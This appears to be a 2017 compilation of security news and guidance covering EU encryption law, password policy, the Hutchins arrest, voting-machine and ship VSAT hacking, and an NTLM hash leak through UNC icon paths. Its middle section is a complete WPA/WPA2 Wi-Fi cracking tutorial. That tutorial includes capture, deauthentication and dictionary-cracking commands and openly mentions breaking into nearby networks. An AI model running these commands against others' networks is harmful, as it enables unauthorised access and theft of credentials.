Officially introduced by the Committee on Civil Liberties, Justice and Home Affairs earlier this week, the 91 page document outlines 135 small amendments to various laws currently governing electronic communication and data collection within the European Union. Perhaps most significantly, the new bill proposes to amend Section 49 of the Regulation of Investigatory Powers Act, which requires all tech and communication based industries within the jurisdiction of the EU to remove “electronic protections” whenever and wherever possible, essentially empowering these industries to encrypt and protect customer communications in the future.
View The Full Draft Proposal Here: http://www.europarl.europa.eu/sides/getDoc.do?pubRef=-%2F%2FEP%2F%2FNONSGML%2BCOMPARL%2BPE-606.011%2B01%2BDOC%2BPDF%2BV0%2F%2FEN
In an explanatory statement attached to their proposed revisions, the committee explains that their intentions are to “modernize” technological laws as they are currently written. The Committee goes on to decry that “Everyone has the right to respect for his or her private and family life, home and communications.” Going on to add that “Everyone has the right to the protection of personal data concerning him or her” and “such data must be processed fairly for specified purposes and on the basis of the consent of the person concerned or some other legitimate basis laid down by law.”
The Committee also calls for the laws to be administrated and overseen by an “independent authority,” not necessarily by the European Union or an individual countries Government themselves. The committee is also calling for these changes to take effect by May 25th 2018.
Anti Government Surveillance
The document goes on to state that backdoors should not exist, and that “when encryption of electronic communications data is used, decryption, reverse engineering or monitoring of such communications shall be prohibited.”
“Member states shall not impose any obligations on electronic communications service providers that would result in the weakening of the security and encryption of their networks and services,” it continues.
The move comes after the home secretary Amber Rudd was criticised earlier this month for saying that “real people” don’t need encryption.
In an article for the Telegraph, Rudd asked: “Who uses WhatsApp because it is end-to-end encrypted, rather than because it is an incredibly user-friendly and cheap way of staying in touch with friends and family?”
Writing for NS Tech, Open Rights Group’s Ed Johnson-Williams contended that there are several legitimate reasons why people use secure communications.
“Some people want privacy from corporations, abusive partners or employers,” he said. “Others may be worried about confidential information, sensitive medical conversations, or be working in countries with a record of human rights abuses.”
Lord Evans’ intervention comes after Robert Hannigan, the former head of GCHQ, sought in July to discourage the government from weakening encryption.
In an appearance on the Today Programme, he said the technology is “overwhelmingly a good thing”.
“I don’t advocate building in backdoors,” he said. “It’s not a good idea to weaken security for everybody in order to tackle a minority.”
Reference
http://tech.newstatesman.com/news/former-mi5-chief-encryption
Discussion of hashing using Hashcat on graphics cards.
How to choose a password
Conclusion
- Passwords of 8 or less can be bruteforced. You must use a longer password.
- Hackers will not bruteforce longer passwords (eg 9-10 characters), but they will use a dictionary attack or rules to attack them.
- We could combine several words together to stop a dictionary attack. For example, select 3 words that are not commonly used – and have 1 word that is “odd”.
- Stick a symbol into the password to make it stronger.
- Use a password manager – with a master password that is very strong.
- Never ever reuse the same password on various site. This limits the damage if a website database is hacked.
A great video discussing the underlying issues behind SQL injection.
Update: Here is the indictment. Hutchins is accused of making and selling a keylogger called the “Kronos banking trojan.”
Marcus Hutchins is the 23 year old security researcher behind the @MalwareTechBlog Twitter account; he’s the guy who figured out that the Wannacry worm had an accidental killswitch built in and then triggered it, stopping the ransomware epidemic in its tracks.
According to a US Marshals spokesman, Hutchins was arrested by the FBI shortly after the Defcon/Blackhat conference in Las Vegas, though no one has disclosed the charge. His friends cannot locate him.
I’ve just run a series of searches on the Defcon and Blackhat schedules and couldn’t find any presentations that Hutchins was on the program for, but that doesn’t mean he didn’t present there — many of the presenters are on side-tracks whose schedules aren’t easy to search.
The friend told Motherboard they “tried to visit him as soon as the detention centre opened but he had already been transferred out.” Motherboard granted the source anonymity due to privacy concerns.
“I’ve spoken to the US Marshals again and they say they have no record of Marcus being in the system. At this point we’ve been trying to get in contact with Marcus for 18 hours and nobody knows where he’s been taken,” the person added. “We still don’t know why Marcus has been arrested and now we have no idea where in the US he’s been taken to and we’re extremely concerned for his welfare.”
Reference:
https://boingboing.net/2017/08/03/accidental-hero.html
Analysis:
- The indictment appears to be dated from 12 July 2017.
- He was not arrested until 2 August 2017, after DEFCON when he was on his way home to the UK. Why not arrest him upon entry to the US? Or during DEFCON? What was the motive for the delay in arrest?
- Why prevent him having lawyers to represent him. Why deny letting his family and friends know of his whereabouts, or is this to prevent them organising his legal representation.
Something does not feel right about the procedures behind this arrest. Procedurally, this is a hotch potch of organisation, denial of rights, denial of legal representation. This arrest sends chills down the spine – basically to a European it says “don’t go to the US, even for a conference, or sinister people will arrest you and hide you in secret”.
Wherever he is, Marcus deserves a lawyer, and the right to a fair trial, and his mother needs to be respectfully told where her son has been hidden.
This year at the DEF CON hacking conference in Las Vegas, 30 computer-powered ballot boxes used in American elections were set up in a simulated national White House race – and hackers got to work physically breaking the gear open to find out what was hidden inside.
In less than 90 minutes, the first cracks in the systems’ defenses started appearing, revealing an embarrassing low level of security. Then one was hacked wirelessly.
“Without question, our voting systems are weak and susceptible. Thanks to the contributions of the hacker community today, we’ve uncovered even more about exactly how,” said Jake Braun, who sold DEF CON founder Jeff Moss on the idea earlier this year.
“The scary thing is we also know that our foreign adversaries – including Russia, North Korea, Iran – possess the capabilities to hack them too, in the process undermining principles of democracy and threatening our national security.”
At the 1st ever Voting Village at #DEFCON, attendees tinker w/ election systems to find vulnerabilities. I’m told they found some new flaws pic.twitter.com/VpYPXANUMT
— Bradley Barth (@BBB1216BBB) July 28, 2017
The machines – from Diebolds to Sequoia and Winvote equipment – were bought on eBay or from government auctions, and an analysis of them at the DEF CON Voting Village revealed a sorry state of affairs. Some were running very outdated and exploitable software – such as unpatched versions of OpenSSL and Windows XP and CE. Some had physical ports open that could be used to install malicious software to tamper with votes.
It’s one thing to physically nobble a box in front of you, which isn’t hard for election officials to spot and stop. It’s another to do it over the air from a distance. Apparently, some of the boxes included poorly secured Wi-Fi connectivity. A WinVote system used in previous county elections was, it appears, hacked via Wi-Fi and the MS03-026 vulnerability in WinXP, allowing infosec academic Carsten Schurmann to access the machine from his laptop using RDP. Another system could be potentially cracked remotely via OpenSSL bug CVE-2011-4109, it is claimed.
Greetings from the Defcon voting village where it took 1:40 for Carsten Schurmann to get remote access to this WinVote machine. pic.twitter.com/1Xk3baWdxv
— Robert McMillan (@bobmcmillan) July 28, 2017
The “security” of these WINvote machines is so bad. Running WinXP, autorun enabled and hard-coded WEP wifi password. pic.twitter.com/AlOiAPcRra
— Victor Gevers (@0xDUDE) July 28, 2017
We’re told the WinVote machine was not fully secured, and that the intrusion would have been detected and logged, so don’t panic too much. And not all the attacked equipment are used in today’s elections. However, it does reveal the damage that can potentially be done if computer ballot box makers and local election officials are not on top of physical and remote security, especially with a growing interest from Russia and other states. Think of it as a wakeup call.
“Elections have always been the concern and constitutional responsibility of state and local officials. But when Russia decided to interlope in 2016, it upped the ante,” said Douglas Lute, former US Ambassador to NATO and now principal at Cambridge Global Advisors.
“This is now a grave national security concern that isn’t going away. In the words of former FBI Director James Comey, ‘They’re coming after America. They will be back.’” ®
Comment
The EU fines American corporates all the time. Maybe it’s time the Americans fine their own corporations – or offer DEFCON huge rewards for detecting breaches in security. If the voting machine is using WEP, or allows RDP connections, then the supplier ought to be barred on principle.
Reference:
https://www.theregister.co.uk/2017/07/29/us_voting_machines_hacking/
Longer is (Usually) Stronger
Let’s get into the nuts and bolts of things and we’ll start with something easy: this is not a good password policy:
Excuse me @EtihadAirways, why do you insist on making my passwords worse? pic.twitter.com/gbntva8Skn
— Lars Klint (@larsklint) June 30, 2016
That first sentence in that pop-up is probably one of the most common poor password anti-patterns going, that is a short arbitrary length. It kills password managers (more on them soon), it kills pass phrases and subsequently, it kills usability. On that last point, the tweet above is from a 2016 blog post of mine on how we keep failing at the basics and along with Etihad’s bad policy (which incidentally, they allegedly do “because security”), I show how PayPal effectively locked me out of my account due to a similar policy.
So how long should you allow a password to be? No, not “as long as you want” because there is a size at which you have other problems. For example, at over 4MB you’d exceed the default ASP.NET max request size. Here’s NIST’s view:
Verifiers SHOULD permit subscriber-chosen memorized secrets at least 64 characters in length
No reasonable person is going to use a website with a 64-character password limit then turn around and say “this site’s security is crap because they didn’t let me use more than 64 characters in my password”. But just to be sure, make it 100. Or 200. Or stick with NIST’s thinking and make it 256, it doesn’t matter because it’s going to hash down to the same number of characters anyway.
NIST also makes another important if not obvious point when it comes to password length:
Truncation of the secret SHALL NOT be performed
This is really the simplest of concepts: don’t have a short arbitrary password length and don’t chop characters off the end of a password provided by a user. At the very least, an organisation defending this position should say “we know it’s bad, there’s legacy reasons, we’ll put it on the road map to be rectified”.
All Characters Are Special (But You Don’t Have to Have Special Characters)
I want to look at two different aspects of special characters and I’ll start with this one:
This does not give me confidence in your password security, @YourAlberta. (cc. @troyhunt) pic.twitter.com/6eI3p3Acej
— Nick Heer (@nickheer) July 18, 2017
Typically, certain characters are disallowed as a means of defending against potential attacks. For example, angle brackets may be used in XSS attacks and an apostrophe may be used in SQL injection attacks. However, both of these arguments show serious shortcomings in the security profile of the site in question because firstly, passwords should never be re-displayed in the UI where an XSS risk could be exploited and secondly, because they should never be sent to the database without being hashed which would mean only alphanumeric characters prevail. Plus of course you have output encoding and parameterisation even if you were inappropriately handling passwords by re-displaying them in the UI and saving them in plain text to the database.
NIST is pretty clear on this – don’t do it:
All printing ASCII [RFC 20] characters as well as the space character SHOULD be acceptable in memorized secrets. Unicode [ISO/ISC 10646] characters SHOULD be accepted as well.
It’s also worth noting their point on Unicode characters; there are many precedents of sites restricting perfectly valid language characters simply because they don’t fit into what a site’s developers consider “normal”. Then, of course, there are passwords like this:
The ❄️ 🌟 🔦 ⚪ on the mountain 🌙 🌠. 🙅🏻 a👣 to 🐝 👀. A 🏰 of 😢, and it 👀 like☝️️ the 👑. The 💨 is 🐺 like this 🌀 ❄️ ☔️ 🏠. 🙅🏻 keep it in, ☁️ 💡 ☝️️ tried.
If someone really wants to have a password that’s an emoji representation of the first verse of “Let It Go” from Frozen, good on ’em!
The other aspect of special characters is this from NIST:
Verifiers SHOULD NOT impose other composition rules (e.g., requiring mixtures of different character types or prohibiting consecutively repeated characters) for memorized secrets
Wait – what?! You mean people aren’t required to have lowercase, uppercase, numbers and symbols?! This goes against so much of conventional password wisdom and it’s not until you step back and think about it logically that it really makes sense. To demonstrate this, I recently wrote about how password strength indicators help people make ill-informed choices, the premise of which was that mathematics alone (which is what most password strength meters use), does not help us make strong passwords. Requirements such as these leave scope to use passwords such as “Passw0rd!” and rule out passwords such as lowercase passphrases.
Microsoft has precisely the same guidance as NIST in their aforementioned documentation:
Eliminate character-composition requirements
What tends to happen when there are requirements around password complexity is that people first try something basic then they tweak characters until it comes up to the minimum requirement of the site. Microsoft explains the problem as follows:
Most people use similar patterns (i.e. capital letter in the first position, a symbol in the last, and a number in the last 2). Cyber criminals know this, so they run their dictionary attacks using the common substitutions, such as “$” for “s”, “@” for “a,” “1” for “l” and so on.
This will almost certainly still be a bad password and almost certainly one they’ve previously used in other places too so all that’s been achieved here is that the user has been put through a level of frustration in order to still arrive at a bad password!
Password Hints Are Definitely Out
Anecdotally, password hints are far less frequent today than what they used to be. This was the premise of “hey, people forget passwords, let’s make it easier for them to remember” and it meant that at signup, as well as providing a password you could provide a hint as to what the password actually is. The problem is that this hint is shown to unauthenticated users because that’s the precisely the point at which it’s needed. The other problem is that because this is usually a user-provided piece of data, it’s probably going to be terrible.
Adobe stored password hints in their database that was disclosed back in 2013. Just to illustrate the terribleness of these hints, I went back to take a look at the data and thought I’d highlight a few of them here:
- my name
- adobe
- usual
- password
These were all stored in plain text too so think of what that meant once the system was compromised. For obvious reasons, NIST thinks these are a bad idea:
Memorized secret verifiers SHALL NOT permit the subscriber to store a “hint” that is accessible to an unauthenticated claimant.
Like I said, they’re rare to see in an online system these days anyway but just in case you were thinking about doing this, don’t!
Embrace Password Managers
I’ve been going on about the value of password managers for a long time now, since early 2011 actually when I wrote about how the only secure password is the one you can’t remember. The premise is simple and I’ll boil down to a few bullet points:
- We know that passwords must be “strong”, that is that they shouldn’t be predictable or readily brute forced so in other words, the longer and more random, the better.
- We know that passwords shouldn’t be reused because disclosure by one service puts the user’s other services at risk. This is the whole credential stuffing problem I referred to earlier.
- People cannot create strong, unique passwords across all their services using only their brain to remember which one they used where.
Now some people will argue that a password manager means putting all your eggs in one basket and they’re right; if that basket gets compromised it’s going to be bad news. But this is an exceptionally rare event compared to the compromise of an individual service which consequently exposes credentials. Further to that and as I wrote more recently, password managers don’t have to be perfect, they just have to be better than not having one.
But this post isn’t intended to provide guidance to individuals about how to secure their accounts, rather it’s aimed at people building services. This means that regardless of your personal views on password managers, you shouldn’t be doing this:
Hi! We do not advise on using the password manager in case the device gets compromised.
— Emirates NBD (@EmiratesNBD) July 17, 2017
This is typical short-sightedness and I could easily point to dozens of other tweets of a similar nature. It entirely neglects the 3 bullet points I outlined earlier and what it’s essentially doing is saying “hey, create a password you can easily remember and yeah, it’ll be weak and probably the same as your other ones, but do it because security”.
The NCSC is quite explicit about this and has the following in the infographic accompanying their Password Guidance: Simplifying Your Approach resource:
In other words, don’t break password managers and don’t trot out lines like in the tweet above. But the NCSC goes even further, providing the following recommendation targeted clearly at how organisations enable their staff to create and manage passwords in a secure fashion:
You should also provide appropriate facilities to store recorded passwords, with protection appropriate to the sensitivity of the information being secured. Storage could be physical (for example secure cabinets) or technical (such as password management software), or a combination of both. The important thing is that your organisation provides a sanctioned mechanism to help users manage passwords, as this will deter users from adopting insecure ‘hidden’ methods to manage password overload.
Have a think about the environment you work in at present – do they have password strength criteria? Do they possibly have annual training or posters on the wall, each encouraging unique and complex passwords? Inevitably there’s at least some control and education around this, but do they actually provide you with a “sanctioned mechanism” to help you achieve those objectives? Almost certainly not and I know this because it’s one of the questions I often ask when I run training in organisations. It’s amazing that this gap prevails.
Let Them Paste Passwords
Closely related to the use of password managers is the ability to paste passwords into the login screen. There are plenty of password managers that can auto-fill credentials, but there are occasions where either pasting is still necessary or where a service blocks a password that hasn’t been typed in character by character (easily identified with a bit of JavaScript). It means we have situations like this:
.@UPSHelp Why do you disable paste for password fields? @troyhuntpic.twitter.com/5IwksGTMaB
— Erik Elkins (@erikelkins) July 23, 2017
Back in 2014, I wrote about the “Cobra Effect” that is disabling paste on password fields. I explain the meaning of this term in the blog post but in short, a cobra effect occurs when an attempted solution to a problem makes the problem worse. When a website blocks the pasting of passwords in an attempt to improve security, they force some users to weaken their passwords to the point where they’re dumbed down to easily typed versions.
The NCSC is behind me on this one too:
They even coined a term for the anti-pattern – SPP or “Stop Pasting Passwords” – and they go on to debunk common myths around the “risks” of pasting passwords. They also reference my cobra effect article mentioned earlier which is nice endorsement from the British Government!
NIST echoes the NCSC’s position with this statement:
Verifiers SHOULD permit claimants to use “paste” functionality when entering a memorized secret. This facilitates the use of password managers, which are widely used and in many cases increase the likelihood that users will choose stronger memorized secrets.
Let there be no doubt about it: there is unanimous support from both sides of the Atlantic for encouraging the use of password managers as well as not actively blocking them.
Do Not Mandate Regular Password Changes
I had an easy way of remembering how long I’d been using a password for in my previous corporate job: I’d take the number in it that I incremented every time the company forced a quarterly password rotation and divide it by 4. I got about 6 years out of that particular password, only ever changing 1 or 2 characters at a time. If you’re working in an environment that mandates regular password changes, you’re very likely doing the same thing because it’s an easy human control to deal with a technology requirement that’s seen as an impediment.
Let’s think through the rationale of this approach for a moment: the premise of a regular password change is that should that password be compromised, forcing a change means it is no longer valid, ergo it cannot be used by malicious parties. The problem is, attackers have got up to 3 months in the example I gave earlier or in some cases, even longer:
@ClearScore @troyhunt @Scott_Helme another one doesn’t listen to @ncscadvice https://t.co/uGegf75p5n pic.twitter.com/y4VeVjObXs
— My Online Security (@dvk01uk) July 22, 2017
Think about it: attackers don’t generally just sit around waiting, they get on with the business of exploiting accounts. This is the same flawed logic which led to Lifeboat covering up their breach last year based on the following screwy rationale:
When this happened [in] early January we figured the best thing for our players was to quietly force a password reset without letting the hackers know they had limited time to act
Per the tweet above, the NCSC agrees that forcibly rotating passwords is a modern-day security anti-pattern saying this about the practice in their password guidance documentation:
carries no real benefits as stolen passwords are generally exploited immediately
And it makes its way into the associated infographic too:
Microsoft is also on the same page here:
Password expiration policies do more harm than good, because these policies drive users to very predictable passwords composed of sequential words and numbers which are closely related to each other (that is, the next password can be predicted based on the previous password). Password change offers no containment benefits cyber criminals almost always use credentials as soon as they compromise them.
Now this is not to say “don’t force password cycling and do nothing else”, rather it’s a recognition that there should be a broader, more evolved approach to password management. For example, the NCSC also recommends the following:
- Monitoring logins to detect unusual use
- Notifying users with details of attempted logins, successful or unsuccessful; they should report any for which they were not responsible
Which brings us neatly to the next section:
Notify Users of Abnormal Behaviour
Reference:
https://www.troyhunt.com/passwords-evolved-authentication-guidance-for-the-modern-era/
Crack WPA/WPA2 Wi-Fi Routers with Airodump-ng and Aircrack-ng/Hashcat.
This is a brief walk-through tutorial that illustrates how to crack Wi-Fi networks that are secured using weak passwords. It is not exhaustive, but it should be enough information for you to test your own network’s security or break into one nearby. The attack outlined below is entirely passive (listening only, nothing is broadcast from your computer) and it is impossible to detect provided that you don’t actually use the password that you crack. An optional active deauthentication attack can be used to speed up the reconnaissance process and is described at the end of this document.
If you are familiar with this process, you can skip the descriptions and jump to a list of the commands used at the bottom.
DISCLAIMER: This software/tutorial is for educational purposes only.
Getting Started
This tutorial assumes that you:
- Have a general comfortability using the command-line
- Are running a debian-based linux distro (preferably Kali linux)
- Have Aircrack-ng installed
sudo apt-get install aircrack-ng
- Have a wireless card that supports monitor mode (I recommend this one)
Cracking a Wi-Fi Network
Monitor Mode
Begin by listing wireless interfaces that support monitor mode with:
airmon-ng
If you do not see an interface listed than your wireless card does not support monitor mode 😞.
We will assume your wireless interface name is wlan0 but be sure to use the correct name if it differs from this. Next, we will place the interface into monitor mode:
airmon-ng start wlan0
Run iwconfig. You should now see a new monitor mode interface listed (likely mon0 or wlan0mon).
Find Your Target
Start listening to 802.11 Beacon frames broadcast by nearby wireless routers using your monitor interface:
airodump-ng mon0
You should see output similar to what is below.
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests
14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8
14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>
14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro
9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme
00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome
06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2
78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2
9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT
BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root
EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
For the purposes of this demo, we will choose to crack the password of my network, “hackme”. Remember the BSSID MAC address and channel (CH) number as displayed by airodump-ng, as we will need them both for the next step.
Capture a 4-way Handshake
WPA/WPA2 uses a 4-way handshake to authenticate devices to the network. You don’t have to know anything about what that means, but you do have to capture one of these handshakes in order to crack the network password. These handshakes occur whenever a device connects to the network, for instance, when your neighbor returns home from work. We capture this handshake by directing airmon-ng to monitor traffic on the target network using the channel and bssid values discovered from the previous command.
# replace -c and --bssid values with the values of your target network
# -w specifies the directory where we will save the packet capture
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
Now we wait… Once you’ve captured a handshake, you should see something like [ WPA handshake: bc:d3:c9:ef:d2:67 at the top right of the screen, just right of the current time.
If you are feeling impatient, and are comfortable using an active attack, you can force devices connected to the target network to re-connect (thus giving you a handshake), be sending malicious deauthentication packets at them. See the deauth attack section below for info on this.
Once you’ve captured a handshake, press ctrl-c to quit airodump-ng. You should see a .cap file wherever you told airodump-ng to save the capture (likely called -01.cap). We will use this capture file to crack the network password, and I like to rename this file to reflect the network name we are trying to crack:
mv ./-01.cap hackme.cap
Crack the Network Password
The final step is to crack the password using the captured handshake. If you have access to a GPU, I highly recommend using hashcat for password cracking. I’ve created a simple tool that makes hashcat super easy to use called naive-hashcat.
Cracking With naive-hashcat (recommended)
Before we can crack the password using naive-hashcat, we need to convert our .cap file to the equivalent hashcat file format .hccapx. You can do this easily by either uploading the .cap file to https://hashcat.net/cap2hccapx/ or using the cap2hccapx tool directly from .
cap2hccapx.bin hackme.cap hackme.hccapx
Next, download and run naive-hashcat:
# download
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
# crack ! baby ! crack !
# 2500 is the hashcat hash mode for WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Naive-hashcat uses various dictionary, rule, combination, and mask attacks and it can take days or even months to run against strong passwords. The cracked password will be saved to hackme.pot, so check this file periodically.
If you would like to use hashcat without naive-hashcat see this page for info.
Cracking With Aircrack-ng
Aircrack-ng can be used for very basic dictionary attacks running on your CPU. Before you run the attack you need a wordlist. I recommend using the infamous rockyou dictionary file:
# download the 134MB rockyou dictionary file
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
Note, that if the network password is not in the wordfile you will not crack the password.
# -a2 specifies WPA2, -b is the BSSID, -w is the wordfile
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap
If the password is cracked you will see a KEY FOUND! message in the terminal followed by the plain text version of the network password.
Aircrack-ng 1.2 beta3
[00:01:49] 111040 keys tested (1017.96 k/s)
KEY FOUND! [ hacktheplanet ]
Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89
59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E
Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71
2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73
6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78
8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21
EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4
Deauth Attack
A deauth attack sends forged deauthentication packets from your machine to a client connected to the network you are trying to crack. These packets include fake “sender” addresses that make them appear to the client as if they were sent from the access point themselves. Upon receipt of such packets, most clients disconnect from the network and immediately reconnect, providing you with a 4-way handshake if you are listening with airodump-ng.
Use airodump-ng to monitor a specific access point (using -c channel --bssid MAC) wait until you see a client (STATION) connected. Should look something like this, where is 64:BC:0C:48:97:F7 the client MAC.
CH 6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS
BSSID STATION PWR Rate Lost Frames Probe
9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS
Now, leaving airodump-ng running open a new terminal. We will use the aireplay-ng command to send fake death packets to our victim client, forcing it to reconnect to the network and hopefully grabbing a handshake in the process.
# -0 10 specifies we would like to send 10 deauth packets
# -a is the MAC of the access point
# -c is the MAC of the client
aireplay-ng -0 10 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
Once you’ve sent the deauth packets, head back over to your airodump-ng process, and with any luck you should now see something like this at the top right: [ WPA handshake: 9C:5C:8E:C9:AB:C0. Now that you’ve captured a handshake you should be ready to crack the network password.
List of Commands
Below is a list of all of the commands needed to crack a WPA/WPA2 network, in order, with minimal explanation.
# put your network device into monitor mode
airmon-ng start wlan0
# listen for all nearby beacon frames to get target BSSID and channel
airodump-ng mon0
# start listening for the handshake
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0
# optionally deauth a connected client to force a handshake
aireplay-ng -0 10 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
########## crack password with aircrack-ng... ##########
# download 134MB rockyou.txt dictionary file if needed
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# crack w/ aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap
########## or crack password with naive-hashcat ##########
# convert cap to hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx
# crack with naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Reference:
https://github.com/brannondorsey/wifi-cracking
https://dylankatz.com/NTLM-Hashes-Microsoft%27s-Ancient-Design-Flaw/
Your password hash has been leaking for 20 years
In March, I began experimenting with a technique used by Thinkst’s Canarytokens, which allowed them to ping a server when a folder was opened. Basically, they used a desktop.ini file to set the folder icon to an external network share. For instance, they would set the icon of the folder to \\ourwebsite.com\Something\icon.ico, and respond when that URL was pinged.
Discovery #1
After toying with this for a while, I noticed that environment variables could be used within these URLS, thus allowing for an information leak. When setting the URL to \\mysite.com\%USERNAME%, I was able to extract the current username from the system. Additionally, I was able to extract any variable, such as %PATH% or %JAVA_HOME%.
Discovery #2
Unfortunately, this still required the user to open a folder to leak information. It wasn’t enough in my mind to be dangerous. So, after a lot of experimentation, I was also able to get this exploit to work via the icons of .lnk files, allowing it to be exploited via flash drives. At this point, I felt it was worthwhile to report this to Microsoft. While unfortunate, Microsoft did not feel this leaked enough information to be relevant. It wasn’t until several weeks later that I reopened the conversation.
Discovery #3
While browsing Reddit, as I so often do, I stumbled upon an interesting post with a familiar theme. This post by Bosko Stankovic, introduced me to the wonders of NTLM hashes. Not only does the rendering of a filesystem icon cause a hashed version of the user’s password to be sent over the network, but the rendering of ANY image using the\\ UNC prefix will do this. This brings us to the meat of the problem. After researching this further, I realized that this bug was first reported to Microsoft in 1997, making it older than I am. Microsoft has intentionally left this unfixed due to the structural changes it would require. Keep in mind this bug was originally introduced for WinNT/Win95. I can’t see how this wasn’t included during the massive restructuring that seems to occur during the countless major version updates since then.
Microsoft’s Stance/Recommendations
It took Microsoft a long time to respond to this issue. It wasn’t until 2009, roughly 12 years after this exploit was initially reported, that they decided to implement a workaround. Enter NTLM Blocking. Microsoft made it veryclear that they strongly recommended against disabling NTLM due to incompatibility issues. Instead, they created a system called NTLM Blocking, which requires users to edit their Windows security policies, track event logs, and whitelist applications that need access. This system, while effective if used correctly, is very complicated for normal users to configure and difficult to understand.
It’s not all terrible
Thankfully for Windows users, ISPs are defending them where their OS has failed to with a rather nuclear option. Microsoft maintains a list of ISPs that block port 445. This, combined with the fact that some modems will block outbound traffic on port 445, has prevented this issue from being as widely exploitable over the internet. However, even when this attack is blocked over the internet, it is very rarely blocked over LAN, meaning it could be used as a method of pivoting within networks. This issue highlights a serious problem with Microsoft’s inability to restructure core systems within Windows.
The fact that simply opening an email or a webpage can cause you or your organization to be compromised, even on a fully patched system, should be the a priority fix for Microsoft, but sadly it seems they are too big to move efficiently on this front. I was told that a refactor of NTLM handling had been ongoing internally for some time by the case manager, however I’ve seen nothing to verify this is true.
Large shipping vessels and aircraft are often equipped with VSAT systems, allowing crewmembers to send and receive messages and access the Internet during voyages. Turns out, some of these VSAT systems are profoundly insecure, and could allow an attacker to gain access, and disrupt communications.
Security researcher x0rz discovered that many VSAT systems can be reached from the public Internet. Not only does this mean they can be tracked through services like Shodan, but some are configured in a way that could see a remote attacker gain access using default credentials.
Duuuuuude, default creds everywhere. I’m connected to a motherfucking ship as admin right now. Hacking ships is easy 😏 pic.twitter.com/UmLPIveTah
— x0rz (@x0rz) July 18, 2017
TNW spoke to the x0rz over the messaging app, Signal. At the start of the interview, he wrote “no ships were harmed during [his] experiments.” However, anyone with less scruples could have caused significant harm. The system they obtained access to allowed them to review the call history from the VSAT phone, change the system settings, and even upload new firmware.
They also noted that the VSAT system “might be connected to other onboard devices — maybe more critical,” noting that theoretically, you could exploit a VSAT system to get inside a network, in order to cause more damage.
Shodan now live tracking ships via VSAT antennas exposing web services 🤦♂️https://t.co/WTtc7tAvYz #OSINT #shodan pic.twitter.com/Ap5hW5EijX
— x0rz (@x0rz) July 18, 2017
Because these systems are publicly accessible, it’s possible to figure out where ships are to a troubling precision. During the interview, x0rz gave me the latitude and longitude of a vessel which he insisted was Russian in origin, due to the language used in the system, and its IP address. John Matherly, founder of Shodan, has also created a map where you can track vessels in real-time.
x0rz has only identified a few vulnerable VSAT. These are all from the British manufacturer Cobham (although they note that other systems may ship with the same flaw), and are configured to expose HTTP web services to the Internet. Others exposed SNMP or UDP only.
As pointed out by x0rz, VSAT systems are also popular on aircraft, ranging from small private jets, to military and passenger aircraft.
Exposed VSAT devices could also impact connected airplanes. Hacking ships and airplanes from your bedroom… #IoT #VSAT #HackingShipspic.twitter.com/hFzSwOs2Jf
— x0rz (@x0rz) July 18, 2017
While it’s theoretically possible that there’s an aircraft equipped with an insecure VSAT system, x0rz noted that they hadn’t found any.
According to Thane & Thane, a Danish shipping company, the VSAT system is used to calibrate instruments. Any disruption could have disastrous consequences.
So, @Acidgen called Thrane & Thrane in Denmark (doing the 900 VSAT)
tl;dr: it’s really bad for ships to leave this interface exposed! pic.twitter.com/ea73vBo3Gg— x0rz (@x0rz) July 18, 2017
Reference:
https://thenextweb.com/insider/2017/07/18/welp-even-ships-are-hackable-now/
